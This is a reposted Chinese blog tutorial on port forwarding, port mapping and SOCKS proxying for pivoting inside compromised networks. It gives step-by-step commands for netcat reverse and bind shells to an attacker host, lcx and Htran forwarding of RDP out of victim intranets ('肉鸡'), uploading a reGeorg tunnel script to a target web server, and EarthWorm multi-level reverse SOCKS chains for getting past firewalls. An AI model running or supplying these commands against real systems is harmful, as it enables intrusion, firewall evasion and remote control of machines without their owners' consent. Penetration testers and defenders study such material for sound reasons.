本文由 简悦 SimpRead 转码, 原文地址 www.cnblogs.com
端口转发(Port forwarding),有时被叫做隧道,是安全壳(SSH)为网络安全通信使用的一种方法。端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为,其使一个外部用户从外部经过一个被激活的 NAT 路由器到达一个在私有内部 IP 地址(局域网内部)上的一个端口。
普通话:端口转发就是将一个端口,这个端口可以本机的端口也可以是本机可以访问到的任意主机的端口,转发到任意一台可以访问到的 IP 上,通常这个 IP 是公网 ip
端口映射是 NAT 的一种,功能是把在公网的地址转翻译成私有地址,
采用路由方式的 ADSL 宽带路由器拥有一个动态或固定的公网 IP,ADSL 直接接在 HUB 或交换机上,所有的电脑共享上网。
普通话:就是映射端口,就是将一个内网端口映射到公网上的某个端口,假设我自己的电脑是在内网中,没有公网
IP,但是我想提供一个端口供其他人使用,这就是端口映射
外网主机 A 想访问内网主机 B 上的服务
外网主机 A 已经可以任意内网主机 B 上的端口,但是无法访问内网主机 C 上的端口
此时可以将 C 主机的端口到 B 主机的端口,那么外网主机 A 访问 B 主机的某某端口就相当于访问了 C 主机的某某
端口转发和端口映射原理是一样的只不过是应用场景不一样,假如我们将本机的端口转发到远程主机端口,我们可以叫端口映射,也可以叫端口转发,看下图【注意图上文字】
我们如果把本机可以访问到的任意 IP
的端口转发到另外一台服务器的端口,我们叫他端口转发,看下图【注意图上文字】
- 正向连接:你的机器连接目标机器
- 反向连接:目标机器反连你的机器
- 不论映射,还是转发,都有正有反,原理相同
- Lcx
- Htran
- Netcat
B 主机 W7
C 主机 XP
A 外网 无法访问 内网 B 【A 为攻击者处于外网】
B 内网 可以访问 外网 A
A:192.168.0.226
B:192.168.32.130
适合 nc 反向连接:也就将内网主机 B shell 反弹到 外网 A
在外网主机 A 上执行:nc –nvlp 7777
在内网主机 B 上执行:nc –e cmd 192.168.0.226 7777
A 内网 可以访问 外网 B 【A 为攻击者处于内网】
B 外网 不能访问 内网 A
适合 nc 正向连接:也就将内网主机 A shell 反弹到 外网 B
在内网 A 上执行 nc –l –p 5555 –e cmd .exe
在外网主机 B 上执行 nc –nvv 192.168.0.226 5555
如果客户端【相当于内网】连接服务器【相当于外网】,想获取服务器的 shell,那么称为正向 shell,如果是客户端连接服务器,服务器端想获取客户端的 shell,那么称为反向 shell
NC 是安全的瑞士军刀,太出名了,不光能反弹 shell, 端口转发,还能聊天等等
A 外网 无法访问 内网 B 【A 为攻击者处于外网】
B 内网 可以访问 外网 A
在内网主机 B 上执行:lcx.exe –slave 192.168.0.226 7777 192.168.32.132 3389
意思是:将内网 (192.168.32.132) 的 3389 端口转发到公网 (192.168.0.226) 的 7777
端口
在外网主机 A 上执行:lcx.exe –listen 7777 5555
意思是:监听主机上 7777 端口 并转给 5555
此时,在主机 A 连接远程桌面访问 127.0.0.1:5555 就相当于访问了 B 的 3389
A 外网 可以访问 B
B 内网 可以访问 C
A 不能访问 C
A 主机 ip:192.168.0.226
B 主机 ip:192.168.32.130
C 主机 ip:192.168.32.135
在内网主机 B 上执行:lcx.exe –tran 7777 192.168.32.135 3389
意思是:把 C 主机的 3389 端口转到 B 的 7777 端口上
此时访问 B 主机上的 7777 端口就相当于访问 C 主机上的 3389
在 A 主机上运行 mstsc 连接 192.168.32.130:7777 或者 B 主机上 127.0.0.1:7777 就可以访问到 C 的 3389
LCX 多用于被空计算机(肉鸡)处于内网,黑客想使用远程终端进行管理的情况下,一般黑客会将肉鸡 3389 开启,之后通过 LCX 进行端口转发
B 公网
A 可直接访问 B[并且 B 已经开启 3389,B 防火墙禁止 3389 连接]
B 也可以访问 A
A 主机 ip:192.168.0.226
B 主机 ip:192.168.32.130
C 主机 ip:192.168.32.135
在 B 主机上执行:Htran2.4.exe -p -tran 7777 127.0.0.1 3389
意思是:将 B 的 3389 转为本机的 7777 端口
此时 A 主机进行远程桌面终端连接:192.168.32.130:7777
在 A 主机进行监听执行:HTran2.4.exe -p -listen 8888 9999
意思是:监听本机 8888 端口,并将 8888 端口流量转到 9999
在 B 主机执行:HTran2.4.exe -p -slave 192.168.0.226 8888 127.0.0.1 3389
意思是:将本机的 3389 端口转发到 A 的 8888 端口
接下来在 A 主机上连接远程桌面访问本地的 9999 端口,即可连接到 B 的 3389
B 主机在公网
C 在 B 的内网
A 可以访问 B,不可以访问 C
A 主机 ip:192.168.0.226
B 主机 ip:192.168.32.130
C 主机 ip:192.168.32.135
在 B 主机上执行:HTran2.4.exe -p -tran 8888 192.168.32.135 3389
意思是:将 C 主机的 3389 端口转发到 B 主机的 8888
此时 A 连接 B 的 8888 就相当于访问 C 的 3389
在 B 主机上进行监听 HTran2.4.exe -p -listen 7777 9999
意思是:监听 B 主机的 7777 端口,并将流量转发到 9999
在 C 主机上执行:HTran2.4.exe -p -slave 192.168.32.130 7777 127.0.0.1 3389
意思是:将 C 的 3389 转到 B 的 7777 端口
代理(英语:Proxy),也称网络代理,是一种特殊的网络服务,允许一个网络终端(一般为客户端)通过这个服务与另一个网络终端(一般为服务器)进行非直接的连接。一些网关、路由器等网络设备具备网络代理功能。一般认为代理服务有利于保障网络终端的隐私或安全,防止攻击
HTTP 代理
SOCKS 代理
FTP 代理
Telnet 代理
SSL 代理
正向代理中,proxy 和 client 同属一个 LAN,对 server 透明; 反向代理中,proxy 和
server 同属一个 LAN,对 client 透明,一个代理的是客户端,一个代理的是服务器
reGeorg 是 reDuh 的继承者。主要是把内网服务器的端口通过 http/https 隧道转发到本机
选择对应服务器脚本上传到 B 主机的服务器,我这里面是 php
访问文件显示 Georg says, 'All seems fine', 代理成功
然后执行 reGeorgSocksProxy.py 文件【需要 urllib3 模块】:python2
reGeorgSocksProxy.py –u “http://192.168.32.130/tunnel.php” –p 8888
在命令行界面同样显示 All seems fine 即可
接下来使用工具 Proxifier
首先添加一个 server
配置代理规则
这里选择选择远程桌面程序 mstsc
连接远程桌面
可以看到通过代理走的流量
使用的是 Invoke-SocksProxy,地址:https://github.com/p3nt4/Invoke-SocksProxy
Win10 主机 ip:192.168.192.130
Win7 主机 ip:192.168.192.129
建立一个 sock4/5 代理
在 Win10 上首先以管理员权限运行 powershell,如果提示脚本禁止执行,请输入 “set-ExecutionPolicy
RemoteSigned” 即可
输入 Import-Module .\Invoke-SocksProxy.psm1 导入模块
输入 Invoke-SocksProxy -bindPort 1234 在端口 1234 上创建 socks 代理
接下来在 Win7 上使用 socks 代理软件,通过 Win10 的 1234 端口进行外网访问
这次我是用的软件是 sockscap, 当然 Proxychains 肯定也行
点击文件选择 “设置” 设置 socks 服务器 IP 和端口,点击应用,确定
增加线程方式,输入 Invoke-SocksProxy -bindPort 1234 -threads 400
如果不加 - bindPort 默认端口 1080
EW 是一套便携式的网络穿透工具,具有 SOCKS
v5 服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透
注: 此工具已停止更新、下载
下图是一张示意图:
该工具能够以 “正向”、“反向”、“多级级联” 等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。
工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux
均被包括其内,更多平台的支持还在维护中,敬请期待。
使用方法:
以下所有样例,如无特殊说明代理端口均为 1080,服务均为 SOCKSv5 代理服务.
该工具共有 6
种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)。
- 正向 SOCKS v5 服务器
$ ./ew -s ssocksd -l 1080
- 反弹 SOCKS v5 服务器
这个操作具体分两步:
a) 先在一台具有公网 ip 的主机 A 上运行以下命令:
$ ./ew -s rcsocks -l 1080 -e 8888
b) 在目标主机 B 上启动 SOCKS v5 服务 并反弹到公网主机的 8888 端口
$ ./ew -s rssocks -d 1.1.1.1 -e 8888
成功。
- 多级级联
工具中自带的三条端口转发指令,它们的参数格式分别为:
$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
$ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
通过这些端口转发指令可以将处于网络深层的基于 TCP 的服务转发至根前, 比如 SOCKS v5。
首先提供两个 “二级级联” 本地 SOCKS 测试样例:
a) lcx_tran 的用法
$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
b) lcx_listen、lcx_slave 的用法
$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
再提供一个 “三级级联” 的本地 SOCKS 测试用例以供参考
$ ./ew -s rcsocks -l 1080 -e 8888
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
$ ./ew -s lcx_listen -l 9999 -e 7777
$ ./ew -s rssocks -d 127.0.0.1 -e 7777
数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
注: 以上内容来源参考自官网或者工具里面的 Readme
Win7 主机 ip:192.168.192.1
Win7 主机 ip:192.168.192.9
目标网络边界存在公网 IP 且可任意开监听端口:
+---------+ +-------------------+
|HackTools| ->> | 7777-> 192.168.192.9 |
+---------+ +-------------------+
执行:ew_for_win_32.exe -s ssocksd -l 7777
意思是:在 w7 192.168.192. 9 主机上通过这个命令开启 7777 端口的 socks 代理
接下来可以使用 sockscap 或者
Proxychains 等工具访问代理端口,因为之前提过用法我就不墨迹了,直接放演示截图
注:此属于正向代理,代理的是黑客客户端,连接的是肉鸡相当于服务器
Win7 x32 主机 ip:192.168.0.75 【hack 机】
Win7 主机 ip:192.168.0.226 【公网机】
Win7 主机 ip:192.168.192.9 【内网机】
目标网络边界不存在公网 IP,需要通过反弹方式创建 socks 代理
192.168.192.9 一台可控公网 IP 主机 可控内网主机
+---------+ +--------------------------+ | +---------------+
|HackTools| ->> | 1089 ->192.168.0.226 -> 9999 | 防火墙 | <--
192.168.0.75 |
+---------+ +--------------------------+ | +---------------+
在公网机【vps】上执行:ew_for_win_32.exe -s rcsocks -l 1089 -e 9999
意思是:在 192.168.0.226 的公网主机添加转接隧道,将 1089
收到的代理请求转交给反连 9999 端口的主机
在内网主机【可控肉鸡】上执行:ew_for_win_32.exe -s rssocks -d 192.168.0.226 -e
9999
意思是:将目标网络的可控内网主机反向连接公网主机
接下来可以用通过访问 sockscap 或者 Proxychains 等工具 192.168.0.226:1089 端口使用
rssocks 主机提供的 socks5 代理服务
Win7 主机 ip:192.168.192.1 【hack 机】
Win7 主机 ip:192.168.192.9 【A】
Win7 主机 ip:192.168.192.11 【B】
获得目标网络内两台主机 A、B 的权限,情况描述如下:
A 主机: 存在公网 IP,且自由监听任意端口,无法访问特定资源
B 主机: 目标网络内部主机,可访问特定资源,但无法访问公网
A 主机可直连 B 主机
可控边界主机 A 可访问指定资源的主机 B
+---------+ +-----------------------+ +----------------
|HackTools| ->> | 1099 -->192.168.192.9 --> | ->> |7777 ->
192.168.192.11 |
+---------+ +-----------------------+ +-----------------+
在 B 主机上执行:ew_for_win_32.exe -s ssocksd -l 7777
意思是:在 B 主机上利用 ssocksd 方式启动 7777 端口的 socks 代理
在主机 A 上执行:ew_for_win_32.exe -s lcx_tran -l 1099 -f 192.168.192.11 -g 7777
/ 意思是将 1080 端口收到的 socks 代理请求转交给 B 主机的 7777 端口。
接下来可以用通过访问 sockscap 或者 Proxychains 等工具 192.168.192.9:1099 端口使用
rssocks 主机提供的 socks5 代理服务
代理成功截图:
Win7 主机 ip:192.168.192.1 【hack 机】
Win7 主机 ip:192.168.192.9 【A】
Win7 主机 ip:192.168.192.10 【公网机】
Win7 主机 ip:192.168.192.13 【B】
获得目标网络内两台主机 A、B 的权限,情况描述如下:
A 主机: 目标网络的边界主机,无公网 IP,无法访问特定资源。
B 主机: 目标网络内部主机,可访问特定资源,却无法回连公网。
A 主机可直连 B 主机
- 在公网机上执行:ew_for_win_32.exe -s lcx_listen -l 1099 -e 8888
意思是:在 192.168.192.10 公网 IP 主机添加转接隧道,将 1080
收到的代理请求,转交给反连 8888 端口的主机
- 在主机 B 上执行:ew_for_win_32.exe -s ssocksd -l 9999
意思是:在 192.168.192.13 【B】主机上利用 ssocksd 方式启动 9999 端口的 socks
代理
- 在主机 A 上执行:ew_for_win_32.exe -s lcx_slave -d 192.168.192.10 -e 8888 -f
192.168.192.13 -g 9999
意思是:在 192.168.192.9 上,通过工具的 lcx_slave 方式,打通 192.168.192.10:8888
和 192.168.192.13:9999 之间的通讯隧道
- HackTools 可通过访问 192.168.192.10:1099 来使用 192.168.192.13 主机提供的
socks5 代理
成功截图:
B 的
公网机的
A 的
Hack 机
注:红色正常我代理机 B 上不了外网
目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:
ssocksd rcsocks rssocks
lcx_slave lcx_tran lcx_listen
其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks
提供,分别对应正向与反向 socks 代理。
其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。
lcx 类别管道
lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
lcx_listen
该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。
通过组合 lcx 类别管道的特性,可以实现多层内网环境下的渗透测试。
转载先知社区裁决师傅文章,一直以来的内网端口问题得到了解释,豁然开朗
学习文章: https://blog.csdn.net/Fly_hps/article/details/80635627
EOF
本文作者:Yunying
本文链接:https://www.cnblogs.com/BOHB-yunying/p/11556049.html
关于博主:热衷 web 安全,喜欢 python, 热爱旅游和生活,希望结识更多的同圈好友, QQ 530428277
版权声明:转载请署名, 有问题可以私信或者联系 QQ
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角**【推荐】**一下。您的鼓励是博主的最大动力!